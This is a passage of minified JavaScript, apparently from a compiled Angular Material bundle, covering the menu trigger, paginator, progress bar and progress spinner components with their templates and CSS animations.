Ie.overlapTrigger||(ie="top"===b?"bottom":"top",Xe="top"===B?"bottom":"top");te.withPositions([{originX:x,originY:ie,overlayX:it,overlayY:b,offsetY:Vt},{originX:m,originY:ie,overlayX:wt,overlayY:b,offsetY:Vt},{originX:x,originY:Xe,overlayX:it,overlayY:B,offsetY:-Vt},{originX:m,originY:Xe,overlayX:wt,overlayY:B,offsetY:-Vt}])}_menuClosingActions(){const Ie=this._overlayRef.backdropClick(),te=this._overlayRef.detachments(),x=this._parentMaterialMenu?this._parentMaterialMenu.closed:(0,_.of)(),m=this._parentMaterialMenu?this._parentMaterialMenu._hovered().pipe((0,j.h)(b=>b!==this._menuItemInstance),(0,j.h)(()=>this._menuOpen)):(0,_.of)();return(0,E.T)(Ie,x,m,te)}_handleMousedown(Ie){(0,n.X6)(Ie)||(this._openedBy=0===Ie.button?"mouse":void 0,this.triggersSubmenu()&&Ie.preventDefault())}_handleKeydown(Ie){const te=Ie.keyCode;(te===s.K5||te===s.L_)&&(this._openedBy="keyboard"),this.triggersSubmenu()&&(te===s.SV&&"ltr"===this.dir||te===s.oh&&"rtl"===this.dir)&&(this._openedBy="keyboard",this.openMenu())}_handleClick(Ie){this.triggersSubmenu()?(Ie.stopPropagation(),this.openMenu()):this.toggleMenu()}_handleHover(){!this.triggersSubmenu()||!this._parentMaterialMenu||(this._hoverSubscription=this._parentMaterialMenu._hovered().pipe((0,j.h)(Ie=>Ie===this._menuItemInstance&&!Ie.disabled),(0,U.g)(0,S.E)).subscribe(()=>{this._openedBy="mouse",this.menu instanceof Be&&this.menu._isAnimating?this.menu._animationDone.pipe((0,z.q)(1),(0,U.g)(0,S.E),(0,H.R)(this._parentMaterialMenu._hovered())).subscribe(()=>this.openMenu()):this.openMenu()}))}_getPortal(Ie){return(!this._portal||this._portal.templateRef!==Ie.templateRef)&&(this._portal=new Q.UE(Ie.templateRef,this._viewContainerRef)),this._portal}}return Dt.\\u0275fac=function(Ie){return new(Ie||Dt)(u.Y36(K.aV),u.Y36(u.SBq),u.Y36(u.s_b),u.Y36(P),u.Y36(ze,8),u.Y36(re,10),u.Y36(k.Is,8),u.Y36(n.tE),u.Y36(u.R0b))},Dt.\\u0275dir=u.lG2({type:Dt,hostVars:3,hostBindings:function(Ie,te){1&Ie&&u.NdJ("click",function(m){return te._handleClick(m)})("mousedown",function(m){return te._handleMousedown(m)})("keydown",function(m){return te._handleKeydown(m)}),2&Ie&&u.uIk("aria-haspopup",te.menu?"menu":null)("aria-expanded",te.menuOpen||null)("aria-controls",te.menuOpen?te.menu.panelId:null)},inputs:{_deprecatedMatMenuTriggerFor:["mat-menu-trigger-for","_deprecatedMatMenuTriggerFor"],menu:["matMenuTriggerFor","menu"],menuData:["matMenuTriggerData","menuData"],restoreFocus:["matMenuTriggerRestoreFocus","restoreFocus"]},outputs:{menuOpened:"menuOpened",onMenuOpen:"onMenuOpen",menuClosed:"menuClosed",onMenuClose:"onMenuClose"}}),Dt})(),Je=(()=>{class Dt extends ct{}return Dt.\\u0275fac=function(){let Pt;return function(te){return(Pt||(Pt=u.n5z(Dt)))(te||Dt)}}(),Dt.\\u0275dir=u.lG2({type:Dt,selectors:[["","mat-menu-trigger-for",""],["","matMenuTriggerFor",""]],hostAttrs:[1,"mat-menu-trigger"],exportAs:["matMenuTrigger"],features:[u.qOj]}),Dt})(),Et=(()=>{class Dt{}return Dt.\\u0275fac=function(Ie){return new(Ie||Dt)},Dt.\\u0275mod=u.oAB({type:Dt}),Dt.\\u0275inj=u.cJS({providers:[R],imports:[oe.ez,Ce.BQ,Ce.si,K.U8,ee.ZD,Ce.BQ]}),Dt})()},8739:(At,ae,d)=>{"use strict";d.d(ae,{NW:()=>q,TU:()=>we});var n=d(6895),a=d(4650),s=d(3238),u=d(4859),c=d(4385),f=d(266),E=d(1281),_=d(8929),S=d(9549);function g(ce,je){if(1&ce&&(a.TgZ(0,"mat-option",19),a._uU(1),a.qZA()),2&ce){const Ze=je.$implicit;a.Q6J("value",Ze),a.xp6(1),a.hij(" ",Ze," ")}}function C(ce,je){if(1&ce){const Ze=a.EpF();a.TgZ(0,"mat-form-field",16)(1,"mat-select",17),a.NdJ("selectionChange",function(Oe){a.CHM(Ze);const Qe=a.oxw(2);return a.KtG(Qe._changePageSize(Oe.value))}),a.YNc(2,g,2,2,"mat-option",18),a.qZA()()}if(2&ce){const Ze=a.oxw(2);a.Q6J("appearance",Ze._formFieldAppearance)("color",Ze.color),a.xp6(1),a.Q6J("value",Ze.pageSize)("disabled",Ze.disabled)("panelClass",Ze.selectConfig.panelClass||"")("disableOptionCentering",Ze.selectConfig.disableOptionCentering)("aria-label",Ze._intl.itemsPerPageLabel),a.xp6(1),a.Q6J("ngForOf",Ze._displayedPageSizeOptions)}}function z(ce,je){if(1&ce&&(a.TgZ(0,"div",20),a._uU(1),a.qZA()),2&ce){const Ze=a.oxw(2);a.xp6(1),a.Oqu(Ze.pageSize)}}function H(ce,je){if(1&ce&&(a.TgZ(0,"div",12)(1,"div",13),a._uU(2),a.qZA(),a.YNc(3,C,3,8,"mat-form-field",14),a.YNc(4,z,2,1,"div",15),a.qZA()),2&ce){const Ze=a.oxw();a.xp6(2),a.hij(" ",Ze._intl.itemsPerPageLabel," "),a.xp6(1),a.Q6J("ngIf",Ze._displayedPageSizeOptions.length>1),a.xp6(1),a.Q6J("ngIf",Ze._displayedPageSizeOptions.length<=1)}}function j(ce,je){if(1&ce){const Ze=a.EpF();a.TgZ(0,"button",21),a.NdJ("click",function(){a.CHM(Ze);const Oe=a.oxw();return a.KtG(Oe.firstPage())}),a.O4$(),a.TgZ(1,"svg",7),a._UZ(2,"path",22),a.qZA()()}if(2&ce){const Ze=a.oxw();a.Q6J("matTooltip",Ze._intl.firstPageLabel)("matTooltipDisabled",Ze._previousButtonsDisabled())("matTooltipPosition","above")("disabled",Ze._previousButtonsDisabled()),a.uIk("aria-label",Ze._intl.firstPageLabel)}}function U(ce,je){if(1&ce){const Ze=a.EpF();a.O4$(),a.kcU(),a.TgZ(0,"button",23),a.NdJ("click",function(){a.CHM(Ze);const Oe=a.oxw();return a.KtG(Oe.lastPage())}),a.O4$(),a.TgZ(1,"svg",7),a._UZ(2,"path",24),a.qZA()()}if(2&ce){const Ze=a.oxw();a.Q6J("matTooltip",Ze._intl.lastPageLabel)("matTooltipDisabled",Ze._nextButtonsDisabled())("matTooltipPosition","above")("disabled",Ze._nextButtonsDisabled()),a.uIk("aria-label",Ze._intl.lastPageLabel)}}let G=(()=>{class ce{constructor(){this.changes=new _.xQ,this.itemsPerPageLabel="Items per page:",this.nextPageLabel="Next page",this.previousPageLabel="Previous page",this.firstPageLabel="First page",this.lastPageLabel="Last page",this.getRangeLabel=(Ze,le,Oe)=>{if(0==Oe||0==le)return`0 of ${Oe}`;const Qe=Ze*le;return`${Qe+1} \\u2013 ${Qe<(Oe=Math.max(Oe,0))?Math.min(Qe+le,Oe):Qe+le} of ${Oe}`}}}return ce.\\u0275fac=function(Ze){return new(Ze||ce)},ce.\\u0275prov=a.Yz7({token:ce,factory:ce.\\u0275fac,providedIn:"root"}),ce})();const oe={provide:G,deps:[[new a.FiY,new a.tp0,G]],useFactory:function Q(ce){return ce||new G}},K=new a.OlP("MAT_PAGINATOR_DEFAULT_OPTIONS"),se=(0,s.Id)((0,s.dB)(class{}));let ee=(()=>{class ce extends se{constructor(Ze,le,Oe){if(super(),this._intl=Ze,this._changeDetectorRef=le,this._pageIndex=0,this._length=0,this._pageSizeOptions=[],this._hidePageSize=!1,this._showFirstLastButtons=!1,this.selectConfig={},this.page=new a.vpe,this._intlChanges=Ze.changes.subscribe(()=>this._changeDetectorRef.markForCheck()),Oe){const{pageSize:Qe,pageSizeOptions:Ye,hidePageSize:qe,showFirstLastButtons:Ke}=Oe;null!=Qe&&(this._pageSize=Qe),null!=Ye&&(this._pageSizeOptions=Ye),null!=qe&&(this._hidePageSize=qe),null!=Ke&&(this._showFirstLastButtons=Ke)}}get pageIndex(){return this._pageIndex}set pageIndex(Ze){this._pageIndex=Math.max((0,E.su)(Ze),0),this._changeDetectorRef.markForCheck()}get length(){return this._length}set length(Ze){this._length=(0,E.su)(Ze),this._changeDetectorRef.markForCheck()}get pageSize(){return this._pageSize}set pageSize(Ze){this._pageSize=Math.max((0,E.su)(Ze),0),this._updateDisplayedPageSizeOptions()}get pageSizeOptions(){return this._pageSizeOptions}set pageSizeOptions(Ze){this._pageSizeOptions=(Ze||[]).map(le=>(0,E.su)(le)),this._updateDisplayedPageSizeOptions()}get hidePageSize(){return this._hidePageSize}set hidePageSize(Ze){this._hidePageSize=(0,E.Ig)(Ze)}get showFirstLastButtons(){return this._showFirstLastButtons}set showFirstLastButtons(Ze){this._showFirstLastButtons=(0,E.Ig)(Ze)}ngOnInit(){this._initialized=!0,this._updateDisplayedPageSizeOptions(),this._markInitialized()}ngOnDestroy(){this._intlChanges.unsubscribe()}nextPage(){if(!this.hasNextPage())return;const Ze=this.pageIndex;this.pageIndex=this.pageIndex+1,this._emitPageEvent(Ze)}previousPage(){if(!this.hasPreviousPage())return;const Ze=this.pageIndex;this.pageIndex=this.pageIndex-1,this._emitPageEvent(Ze)}firstPage(){if(!this.hasPreviousPage())return;const Ze=this.pageIndex;this.pageIndex=0,this._emitPageEvent(Ze)}lastPage(){if(!this.hasNextPage())return;const Ze=this.pageIndex;this.pageIndex=this.getNumberOfPages()-1,this._emitPageEvent(Ze)}hasPreviousPage(){return this.pageIndex>=1&&0!=this.pageSize}hasNextPage(){const Ze=this.getNumberOfPages()-1;return this.pageIndex<Ze&&0!=this.pageSize}getNumberOfPages(){return this.pageSize?Math.ceil(this.length/this.pageSize):0}_changePageSize(Ze){const Oe=this.pageIndex;this.pageIndex=Math.floor(this.pageIndex*this.pageSize/Ze)||0,this.pageSize=Ze,this._emitPageEvent(Oe)}_nextButtonsDisabled(){return this.disabled||!this.hasNextPage()}_previousButtonsDisabled(){return this.disabled||!this.hasPreviousPage()}_updateDisplayedPageSizeOptions(){this._initialized&&(this.pageSize||(this._pageSize=0!=this.pageSizeOptions.length?this.pageSizeOptions[0]:50),this._displayedPageSizeOptions=this.pageSizeOptions.slice(),-1===this._displayedPageSizeOptions.indexOf(this.pageSize)&&this._displayedPageSizeOptions.push(this.pageSize),this._displayedPageSizeOptions.sort((Ze,le)=>Ze-le),this._changeDetectorRef.markForCheck())}_emitPageEvent(Ze){this.page.emit({previousPageIndex:Ze,pageIndex:this.pageIndex,pageSize:this.pageSize,length:this.length})}}return ce.\\u0275fac=function(Ze){a.$Z()},ce.\\u0275dir=a.lG2({type:ce,inputs:{color:"color",pageIndex:"pageIndex",length:"length",pageSize:"pageSize",pageSizeOptions:"pageSizeOptions",hidePageSize:"hidePageSize",showFirstLastButtons:"showFirstLastButtons",selectConfig:"selectConfig"},outputs:{page:"page"},features:[a.qOj]}),ce})(),q=(()=>{class ce extends ee{constructor(Ze,le,Oe){super(Ze,le,Oe),Oe&&null!=Oe.formFieldAppearance&&(this._formFieldAppearance=Oe.formFieldAppearance)}}return ce.\\u0275fac=function(Ze){return new(Ze||ce)(a.Y36(G),a.Y36(a.sBO),a.Y36(K,8))},ce.\\u0275cmp=a.Xpm({type:ce,selectors:[["mat-paginator"]],hostAttrs:["role","group",1,"mat-paginator"],inputs:{disabled:"disabled"},exportAs:["matPaginator"],features:[a.qOj],decls:14,vars:14,consts:[[1,"mat-paginator-outer-container"],[1,"mat-paginator-container"],["class","mat-paginator-page-size",4,"ngIf"],[1,"mat-paginator-range-actions"],[1,"mat-paginator-range-label"],["mat-icon-button","","type","button","class","mat-paginator-navigation-first",3,"matTooltip","matTooltipDisabled","matTooltipPosition","disabled","click",4,"ngIf"],["mat-icon-button","","type","button",1,"mat-paginator-navigation-previous",3,"matTooltip","matTooltipDisabled","matTooltipPosition","disabled","click"],["viewBox","0 0 24 24","focusable","false",1,"mat-paginator-icon"],["d","M15.41 7.41L14 6l-6 6 6 6 1.41-1.41L10.83 12z"],["mat-icon-button","","type","button",1,"mat-paginator-navigation-next",3,"matTooltip","matTooltipDisabled","matTooltipPosition","disabled","click"],["d","M10 6L8.59 7.41 13.17 12l-4.58 4.59L10 18l6-6z"],["mat-icon-button","","type","button","class","mat-paginator-navigation-last",3,"matTooltip","matTooltipDisabled","matTooltipPosition","disabled","click",4,"ngIf"],[1,"mat-paginator-page-size"],[1,"mat-paginator-page-size-label"],["class","mat-paginator-page-size-select",3,"appearance","color",4,"ngIf"],["class","mat-paginator-page-size-value",4,"ngIf"],[1,"mat-paginator-page-size-select",3,"appearance","color"],[3,"value","disabled","panelClass","disableOptionCentering","aria-label","selectionChange"],[3,"value",4,"ngFor","ngForOf"],[3,"value"],[1,"mat-paginator-page-size-value"],["mat-icon-button","","type","button",1,"mat-paginator-navigation-first",3,"matTooltip","matTooltipDisabled","matTooltipPosition","disabled","click"],["d","M18.41 16.59L13.82 12l4.59-4.59L17 6l-6 6 6 6zM6 6h2v12H6z"],["mat-icon-button","","type","button",1,"mat-paginator-navigation-last",3,"matTooltip","matTooltipDisabled","matTooltipPosition","disabled","click"],["d","M5.59 7.41L10.18 12l-4.59 4.59L7 18l6-6-6-6zM16 6h2v12h-2z"]],template:function(Ze,le){1&Ze&&(a.TgZ(0,"div",0)(1,"div",1),a.YNc(2,H,5,3,"div",2),a.TgZ(3,"div",3)(4,"div",4),a._uU(5),a.qZA(),a.YNc(6,j,3,5,"button",5),a.TgZ(7,"button",6),a.NdJ("click",function(){return le.previousPage()}),a.O4$(),a.TgZ(8,"svg",7),a._UZ(9,"path",8),a.qZA()(),a.kcU(),a.TgZ(10,"button",9),a.NdJ("click",function(){return le.nextPage()}),a.O4$(),a.TgZ(11,"svg",7),a._UZ(12,"path",10),a.qZA()(),a.YNc(13,U,3,5,"button",11),a.qZA()()()),2&Ze&&(a.xp6(2),a.Q6J("ngIf",!le.hidePageSize),a.xp6(3),a.hij(" ",le._intl.getRangeLabel(le.pageIndex,le.pageSize,le.length)," "),a.xp6(1),a.Q6J("ngIf",le.showFirstLastButtons),a.xp6(1),a.Q6J("matTooltip",le._intl.previousPageLabel)("matTooltipDisabled",le._previousButtonsDisabled())("matTooltipPosition","above")("disabled",le._previousButtonsDisabled()),a.uIk("aria-label",le._intl.previousPageLabel),a.xp6(3),a.Q6J("matTooltip",le._intl.nextPageLabel)("matTooltipDisabled",le._nextButtonsDisabled())("matTooltipPosition","above")("disabled",le._nextButtonsDisabled()),a.uIk("aria-label",le._intl.nextPageLabel),a.xp6(3),a.Q6J("ngIf",le.showFirstLastButtons))},dependencies:[n.sg,n.O5,u.lW,S.KE,c.gD,s.ey,f.gM],styles:[".mat-paginator{display:block}.mat-paginator-outer-container{display:flex}.mat-paginator-container{display:flex;align-items:center;justify-content:flex-end;padding:0 8px;flex-wrap:wrap-reverse;width:100%}.mat-paginator-page-size{display:flex;align-items:baseline;margin-right:8px}[dir=rtl] .mat-paginator-page-size{margin-right:0;margin-left:8px}.mat-paginator-page-size-label{margin:0 4px}.mat-paginator-page-size-select{margin:6px 4px 0 4px;width:56px}.mat-paginator-page-size-select.mat-form-field-appearance-outline{width:64px}.mat-paginator-page-size-select.mat-form-field-appearance-fill{width:64px}.mat-paginator-range-label{margin:0 32px 0 24px}.mat-paginator-range-actions{display:flex;align-items:center}.mat-paginator-icon{display:inline-block;width:28px;fill:currentColor}[dir=rtl] .mat-paginator-icon{transform:rotate(180deg)}.cdk-high-contrast-active .mat-paginator-icon{fill:CanvasText}"],encapsulation:2,changeDetection:0}),ce})(),we=(()=>{class ce{}return ce.\\u0275fac=function(Ze){return new(Ze||ce)},ce.\\u0275mod=a.oAB({type:ce}),ce.\\u0275inj=a.cJS({providers:[oe],imports:[n.ez,u.ot,c.LD,f.AV,s.BQ]}),ce})()},3162:(At,ae,d)=>{"use strict";d.d(ae,{Cv:()=>G,pW:()=>j});var n=d(4650),a=d(6895),s=d(3238),u=d(1281),c=d(2654),f=d(3753),E=d(2198);const _=["primaryValueBar"],S=(0,s.pj)(class{constructor(Q){this._elementRef=Q}},"primary"),g=new n.OlP("mat-progress-bar-location",{providedIn:"root",factory:function C(){const Q=(0,n.f3M)(a.K0),oe=Q?Q.location:null;return{getPathname:()=>oe?oe.pathname+oe.search:""}}}),z=new n.OlP("MAT_PROGRESS_BAR_DEFAULT_OPTIONS");let H=0,j=(()=>{class Q extends S{constructor(Ce,k,K,se,ee,q){super(Ce),this._ngZone=k,this._animationMode=K,this._changeDetectorRef=q,this._isNoopAnimation=!1,this._value=0,this._bufferValue=0,this.animationEnd=new n.vpe,this._animationEndSubscription=c.w.EMPTY,this.mode="determinate",this.progressbarId="mat-progress-bar-"+H++;const we=se?se.getPathname().split("#")[0]:"";this._rectangleFillValue=`url(\'${we}#${this.progressbarId}\')`,this._isNoopAnimation="NoopAnimations"===K,ee&&(ee.color&&(this.color=this.defaultColor=ee.color),this.mode=ee.mode||this.mode)}get value(){return this._value}set value(Ce){this._value=U((0,u.su)(Ce)||0),this._changeDetectorRef?.markForCheck()}get bufferValue(){return this._bufferValue}set bufferValue(Ce){this._bufferValue=U(Ce||0),this._changeDetectorRef?.markForCheck()}_primaryTransform(){return{transform:`scale3d(${this.value/100}, 1, 1)`}}_bufferTransform(){return"buffer"===this.mode?{transform:`scale3d(${this.bufferValue/100}, 1, 1)`}:null}ngAfterViewInit(){this._ngZone.runOutsideAngular(()=>{const Ce=this._primaryValueBar.nativeElement;this._animationEndSubscription=(0,f.R)(Ce,"transitionend").pipe((0,E.h)(k=>k.target===Ce)).subscribe(()=>{0!==this.animationEnd.observers.length&&("determinate"===this.mode||"buffer"===this.mode)&&this._ngZone.run(()=>this.animationEnd.next({value:this.value}))})})}ngOnDestroy(){this._animationEndSubscription.unsubscribe()}}return Q.\\u0275fac=function(Ce){return new(Ce||Q)(n.Y36(n.SBq),n.Y36(n.R0b),n.Y36(n.QbO,8),n.Y36(g,8),n.Y36(z,8),n.Y36(n.sBO))},Q.\\u0275cmp=n.Xpm({type:Q,selectors:[["mat-progress-bar"]],viewQuery:function(Ce,k){if(1&Ce&&n.Gf(_,5),2&Ce){let K;n.iGM(K=n.CRH())&&(k._primaryValueBar=K.first)}},hostAttrs:["role","progressbar","aria-valuemin","0","aria-valuemax","100","tabindex","-1",1,"mat-progress-bar"],hostVars:4,hostBindings:function(Ce,k){2&Ce&&(n.uIk("aria-valuenow","indeterminate"===k.mode||"query"===k.mode?null:k.value)("mode",k.mode),n.ekj("_mat-animation-noopable",k._isNoopAnimation))},inputs:{color:"color",value:"value",bufferValue:"bufferValue",mode:"mode"},outputs:{animationEnd:"animationEnd"},exportAs:["matProgressBar"],features:[n.qOj],decls:10,vars:4,consts:[["aria-hidden","true"],["width","100%","height","4","focusable","false",1,"mat-progress-bar-background","mat-progress-bar-element"],["x","4","y","0","width","8","height","4","patternUnits","userSpaceOnUse",3,"id"],["cx","2","cy","2","r","2"],["width","100%","height","100%"],[1,"mat-progress-bar-buffer","mat-progress-bar-element",3,"ngStyle"],[1,"mat-progress-bar-primary","mat-progress-bar-fill","mat-progress-bar-element",3,"ngStyle"],["primaryValueBar",""],[1,"mat-progress-bar-secondary","mat-progress-bar-fill","mat-progress-bar-element"]],template:function(Ce,k){1&Ce&&(n.TgZ(0,"div",0),n.O4$(),n.TgZ(1,"svg",1)(2,"defs")(3,"pattern",2),n._UZ(4,"circle",3),n.qZA()(),n._UZ(5,"rect",4),n.qZA(),n.kcU(),n._UZ(6,"div",5)(7,"div",6,7)(9,"div",8),n.qZA()),2&Ce&&(n.xp6(3),n.Q6J("id",k.progressbarId),n.xp6(2),n.uIk("fill",k._rectangleFillValue),n.xp6(1),n.Q6J("ngStyle",k._bufferTransform()),n.xp6(1),n.Q6J("ngStyle",k._primaryTransform()))},dependencies:[a.PC],styles:[\'.mat-progress-bar{display:block;height:4px;overflow:hidden;position:relative;transition:opacity 250ms linear;width:100%}.mat-progress-bar._mat-animation-noopable{transition:none !important;animation:none !important}.mat-progress-bar .mat-progress-bar-element,.mat-progress-bar .mat-progress-bar-fill::after{height:100%;position:absolute;width:100%}.mat-progress-bar .mat-progress-bar-background{width:calc(100% + 10px)}.cdk-high-contrast-active .mat-progress-bar .mat-progress-bar-background{display:none}.mat-progress-bar .mat-progress-bar-buffer{transform-origin:top left;transition:transform 250ms ease}.cdk-high-contrast-active .mat-progress-bar .mat-progress-bar-buffer{border-top:solid 5px;opacity:.5}.mat-progress-bar .mat-progress-bar-secondary{display:none}.mat-progress-bar .mat-progress-bar-fill{animation:none;transform-origin:top left;transition:transform 250ms ease}.cdk-high-contrast-active .mat-progress-bar .mat-progress-bar-fill{border-top:solid 4px}.mat-progress-bar .mat-progress-bar-fill::after{animation:none;content:"";display:inline-block;left:0}.mat-progress-bar[dir=rtl],[dir=rtl] .mat-progress-bar{transform:rotateY(180deg)}.mat-progress-bar[mode=query]{transform:rotateZ(180deg)}.mat-progress-bar[mode=query][dir=rtl],[dir=rtl] .mat-progress-bar[mode=query]{transform:rotateZ(180deg) rotateY(180deg)}.mat-progress-bar[mode=indeterminate] .mat-progress-bar-fill,.mat-progress-bar[mode=query] .mat-progress-bar-fill{transition:none}.mat-progress-bar[mode=indeterminate] .mat-progress-bar-primary,.mat-progress-bar[mode=query] .mat-progress-bar-primary{-webkit-backface-visibility:hidden;backface-visibility:hidden;animation:mat-progress-bar-primary-indeterminate-translate 2000ms infinite linear;left:-145.166611%}.mat-progress-bar[mode=indeterminate] .mat-progress-bar-primary.mat-progress-bar-fill::after,.mat-progress-bar[mode=query] .mat-progress-bar-primary.mat-progress-bar-fill::after{-webkit-backface-visibility:hidden;backface-visibility:hidden;animation:mat-progress-bar-primary-indeterminate-scale 2000ms infinite linear}.mat-progress-bar[mode=indeterminate] .mat-progress-bar-secondary,.mat-progress-bar[mode=query] .mat-progress-bar-secondary{-webkit-backface-visibility:hidden;backface-visibility:hidden;animation:mat-progress-bar-secondary-indeterminate-translate 2000ms infinite linear;left:-54.888891%;display:block}.mat-progress-bar[mode=indeterminate] .mat-progress-bar-secondary.mat-progress-bar-fill::after,.mat-progress-bar[mode=query] .mat-progress-bar-secondary.mat-progress-bar-fill::after{-webkit-backface-visibility:hidden;backface-visibility:hidden;animation:mat-progress-bar-secondary-indeterminate-scale 2000ms infinite linear}.mat-progress-bar[mode=buffer] .mat-progress-bar-background{-webkit-backface-visibility:hidden;backface-visibility:hidden;animation:mat-progress-bar-background-scroll 250ms infinite linear;display:block}.mat-progress-bar._mat-animation-noopable .mat-progress-bar-fill,.mat-progress-bar._mat-animation-noopable .mat-progress-bar-fill::after,.mat-progress-bar._mat-animation-noopable .mat-progress-bar-buffer,.mat-progress-bar._mat-animation-noopable .mat-progress-bar-primary,.mat-progress-bar._mat-animation-noopable .mat-progress-bar-primary.mat-progress-bar-fill::after,.mat-progress-bar._mat-animation-noopable .mat-progress-bar-secondary,.mat-progress-bar._mat-animation-noopable .mat-progress-bar-secondary.mat-progress-bar-fill::after,.mat-progress-bar._mat-animation-noopable .mat-progress-bar-background{animation:none;transition-duration:1ms}@keyframes mat-progress-bar-primary-indeterminate-translate{0%{transform:translateX(0)}20%{animation-timing-function:cubic-bezier(0.5, 0, 0.701732, 0.495819);transform:translateX(0)}59.15%{animation-timing-function:cubic-bezier(0.302435, 0.381352, 0.55, 0.956352);transform:translateX(83.67142%)}100%{transform:translateX(200.611057%)}}@keyframes mat-progress-bar-primary-indeterminate-scale{0%{transform:scaleX(0.08)}36.65%{animation-timing-function:cubic-bezier(0.334731, 0.12482, 0.785844, 1);transform:scaleX(0.08)}69.15%{animation-timing-function:cubic-bezier(0.06, 0.11, 0.6, 1);transform:scaleX(0.661479)}100%{transform:scaleX(0.08)}}@keyframes mat-progress-bar-secondary-indeterminate-translate{0%{animation-timing-function:cubic-bezier(0.15, 0, 0.515058, 0.409685);transform:translateX(0)}25%{animation-timing-function:cubic-bezier(0.31033, 0.284058, 0.8, 0.733712);transform:translateX(37.651913%)}48.35%{animation-timing-function:cubic-bezier(0.4, 0.627035, 0.6, 0.902026);transform:translateX(84.386165%)}100%{transform:translateX(160.277782%)}}@keyframes mat-progress-bar-secondary-indeterminate-scale{0%{animation-timing-function:cubic-bezier(0.15, 0, 0.515058, 0.409685);transform:scaleX(0.08)}19.15%{animation-timing-function:cubic-bezier(0.31033, 0.284058, 0.8, 0.733712);transform:scaleX(0.457104)}44.15%{animation-timing-function:cubic-bezier(0.4, 0.627035, 0.6, 0.902026);transform:scaleX(0.72796)}100%{transform:scaleX(0.08)}}@keyframes mat-progress-bar-background-scroll{to{transform:translateX(-8px)}}\'],encapsulation:2,changeDetection:0}),Q})();function U(Q,oe=0,Ce=100){return Math.max(oe,Math.min(Ce,Q))}let G=(()=>{class Q{}return Q.\\u0275fac=function(Ce){return new(Ce||Q)},Q.\\u0275mod=n.oAB({type:Q}),Q.\\u0275inj=n.cJS({imports:[a.ez,s.BQ,s.BQ]}),Q})()},1572:(At,ae,d)=>{"use strict";d.d(ae,{Cq:()=>Q,Ou:()=>G});var n=d(1281),a=d(3353),s=d(7261),u=d(6895),c=d(4650),f=d(3238),E=d(2654);function _(Ce,k){if(1&Ce&&(c.O4$(),c._UZ(0,"circle",4)),2&Ce){const K=c.oxw(),se=c.MAs(1);c.Udp("animation-name","mat-progress-spinner-stroke-rotate-"+K._spinnerAnimationLabel)("stroke-dashoffset",K._getStrokeDashOffset(),"px")("stroke-dasharray",K._getStrokeCircumference(),"px")("stroke-width",K._getCircleStrokeWidth(),"%")("transform-origin",K._getCircleTransformOrigin(se)),c.uIk("r",K._getCircleRadius())}}function S(Ce,k){if(1&Ce&&(c.O4$(),c._UZ(0,"circle",4)),2&Ce){const K=c.oxw(),se=c.MAs(1);c.Udp("stroke-dashoffset",K._getStrokeDashOffset(),"px")("stroke-dasharray",K._getStrokeCircumference(),"px")("stroke-width",K._getCircleStrokeWidth(),"%")("transform-origin",K._getCircleTransformOrigin(se)),c.uIk("r",K._getCircleRadius())}}const z=(0,f.pj)(class{constructor(Ce){this._elementRef=Ce}},"primary"),H=new c.OlP("mat-progress-spinner-default-options",{providedIn:"root",factory:function j(){return{diameter:100}}});class G extends z{constructor(k,K,se,ee,q,we,ce,je){super(k),this._document=se,this._diameter=100,this._value=0,this._resizeSubscription=E.w.EMPTY,this.mode="determinate";const Ze=G._diameters;this._spinnerAnimationLabel=this._getSpinnerAnimationLabel(),Ze.has(se.head)||Ze.set(se.head,new Set([100])),this._noopAnimations="NoopAnimations"===ee&&!!q&&!q._forceAnimations,"mat-spinner"===k.nativeElement.nodeName.toLowerCase()&&(this.mode="indeterminate"),q&&(q.color&&(this.color=this.defaultColor=q.color),q.diameter&&(this.diameter=q.diameter),q.strokeWidth&&(this.strokeWidth=q.strokeWidth)),K.isBrowser&&K.SAFARI&&ce&&we&&je&&(this._resizeSubscription=ce.change(150).subscribe(()=>{"indeterminate"===this.mode&&je.run(()=>we.markForCheck())}))}get diameter(){return this._diameter}set diameter(k){this._diameter=(0,n.su)(k),this._spinnerAnimationLabel=this._getSpinnerAnimationLabel(),this._styleRoot&&this._attachStyleNode()}get strokeWidth(){return this._strokeWidth||this.diameter/10}set strokeWidth(k){this._strokeWidth=(0,n.su)(k)}get value(){return"determinate"===this.mode?this._value:0}set value(k){this._value=Math.max(0,Math.min(100,(0,n.su)(k)))}ngOnInit(){const k=this._elementRef.nativeElement;this._styleRoot=(0,a.kV)(k)||this._document.head,this._attachStyleNode(),k.classList.add("mat-progress-spinner-indeterminate-animation")}ngOnDestroy(){this._resizeSubscription.unsubscribe()}_getCircleRadius(){return(this.diameter-10)/2}_getViewBox(){const k=2*this._getCircleRadius()+this.strokeWidth;return`0 0 ${k} ${k}`}_getStrokeCircumference(){return 2*Math.PI*this._getCircleRadius()}_getStrokeDashOffset(){return"determinate"===this.mode?this._getStrokeCircumference()*(100-this._value)/100:null}_getCircleStrokeWidth(){return this.strokeWidth/this.diameter*100}_getCircleTransformOrigin(k){const K=50*(k.currentScale??1);return`${K}% ${K}%`}_attachStyleNode(){const k=this._styleRoot,K=this._diameter,se=G._diameters;let ee=se.get(k);if(!ee||!ee.has(K)){const q=this._document.createElement("style");q.setAttribute("mat-spinner-animation",this._spinnerAnimationLabel),q.textContent=this._getAnimationText(),k.appendChild(q),ee||(ee=new Set,se.set(k,ee)),ee.add(K)}}_getAnimationText(){const k=this._getStrokeCircumference();return"\\n @keyframes mat-progress-spinner-stroke-rotate-DIAMETER {\\n 0% { stroke-dashoffset: START_VALUE; transform: rotate(0); }\\n 12.5% { stroke-dashoffset: END_VALUE; transform: rotate(0); }\\n 12.5001% { stroke-dashoffset: END_VALUE; transform: rotateX(180deg) rotate(72.5deg); }\\n 25% { stroke-dashoffset: START_VALUE; transform: rotateX(180deg) rotate(72.5deg); }\\n\\n 25.0001% { stroke-dashoffset: START_VALUE; transform: rotate(270deg); }\\n 37.5% { stroke-dashoffset: END_VALUE; transform: rotate(270deg); }\\n 37.5001% { stroke-dashoffset: END_VALUE; transform: rotateX(180deg) rotate(161.5deg); }\\n 50% { stroke-dashoffset: START_VALUE; transform: rotateX(180deg) rotate(161.5deg); }\\n\\n 50.0001% { stroke-dashoffset: START_VALUE; transform: rotate(180deg); }\\n 62.5% { stroke-dashoffset: END_VALUE; transform: rotate(180deg); }\\n 62.5001% { stroke-dashoffset: END_VALUE; transform: rotateX(180deg) rotate(251.5deg); }\\n 75% { stroke-dashoffset: START_VALUE; transform: rotateX(180deg) rotate(251.5deg); }\\n\\n 75.0001% { stroke-dashoffset: START_VALUE; transform: rotate(90deg); }\\n 87.5% { stroke-dashoffset: END_VALUE; transform: rotate(90deg); }\\n 87.5001% { stroke-dashoffset: 